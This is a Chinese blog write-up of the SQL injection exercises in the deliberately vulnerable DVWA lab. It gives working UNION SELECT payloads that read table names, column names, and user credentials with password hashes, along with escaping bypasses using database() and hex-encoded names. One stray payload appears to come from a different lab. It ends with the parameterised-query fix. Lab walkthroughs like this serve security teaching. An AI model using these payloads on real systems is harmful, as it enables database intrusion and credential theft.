DVWA-SQL Injection

Low

1.首先判断注入类型
快速判断是字符型注入还是数字型注入
在这里插入图片描述
输入1 and 1=2(永假式),如果是数字型注入页面会报错,所以这儿是个字符型注入(字符型和数字型的区别就是有没有单引号闭合)
2.order by猜解列
最大的不报错的数为可控列数
在这里插入图片描述
3. 查看显位
在这里插入图片描述
4. 查看数据库信息
因为数据库是mysql,我们可以使用database(),version(),user()来获取信息。
在这里插入图片描述
获取到数据库名字为dvwa,用户为root
5. 从information_schema中读数据
首先读dvwa库的表名

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’#

在这里插入图片描述
得到dvwa数据库的两个表guestbook,users
再拿users表的列名

1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
在这里插入图片描述
观察列名可以发现user,password是敏感信息,我们去拿这两个列的元素
拿user,password
1’ union select group_concat(user),group_concat(password) from users#

拿到dvwa的用户名和哈希后的密码
union select 1,group_concat(name),group_concat(password),4 from stormgroup_member--+

Medium

观察前端将id变为了下拉框,但是我们可以通过burp抓包进行修改
我们在id=1后面加上and 1=2,放包后发现,前端不显示id1的信息了,判断此处为数字型注入。
在这里插入图片描述
另外查看后端代码,可以发现后端对SQL语句做了mysqli_real_escape_string过滤,具体是将NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z这些符号加上\进行转义,从而避免SQL注入。我们在构造payload时注意绕开这些符号。
具体注入方式和Low Level相似,只不过要通过burp改包放包实现注入。
在Low Level中已经知道了显位,这儿直接略过直接构造payload读数据库信息。
1.拿数据库名字和user信息

1 union select database(),user()

在这里插入图片描述

2.拿数据库的表名

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

这里注意用database()替代’dvwa’,因为后端有转义函数会将’转义为’
在这里插入图片描述
3.拿users表的列名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

这里注意’users’,可以用十六进制编码等方法绕过后端过滤
在这里插入图片描述
4.拿users表中user和password列的信息

1 union select group_concat(user),group_concat(password) from users

在这里插入图片描述

High

相比于Medium后端代码加入了一个LIMIT 1,我们可以通过#直接注释掉。
在这里插入图片描述
是个字符型注入,和Low Level相似,这里直接放最终payload

在这里插入图片描述

1’ union select group_concat(user),group_concat(password) from users#

Impossible

观察后端代码,SQL为参数化查询,代码和数据不会混杂在一起造成SQL注入漏洞了,此外还加入了csrf token。

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$id = $_GET[ 'id' ];

	// Was a number entered?
	if(is_numeric( $id )) {
		$id = intval ($id);
		switch ($_DVWA['SQLI_DB']) {
			case MYSQL:
				// Check the database
				$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
				$data->bindParam( ':id', $id, PDO::PARAM_INT );
				$data->execute();
				$row = $data->fetch();

				// Make sure only 1 result is returned
				if( $data->rowCount() == 1 ) {
					// Get values
					$first = $row[ 'first_name' ];
					$last  = $row[ 'last_name' ];

					// Feedback for end user
					$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
				}
				break;
			case SQLITE:
				global $sqlite_db_connection;

				$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
				$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
				$result = $stmt->execute();
				$result->finalize();
				if ($result !== false) {
					// There is no way to get the number of rows returned
					// This checks the number of columns (not rows) just
					// as a precaution, but it won't stop someone dumping
					// multiple rows and viewing them one at a time.

					$num_columns = $result->numColumns();
					if ($num_columns == 2) {
						$row = $result->fetchArray();

						// Get values
						$first = $row[ 'first_name' ];
						$last  = $row[ 'last_name' ];

						// Feedback for end user
						$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
					}
				}

				break;
		}
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

防御

1.过滤危险字符
2.后端使用参数化查询和预编译方法

  • 13
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值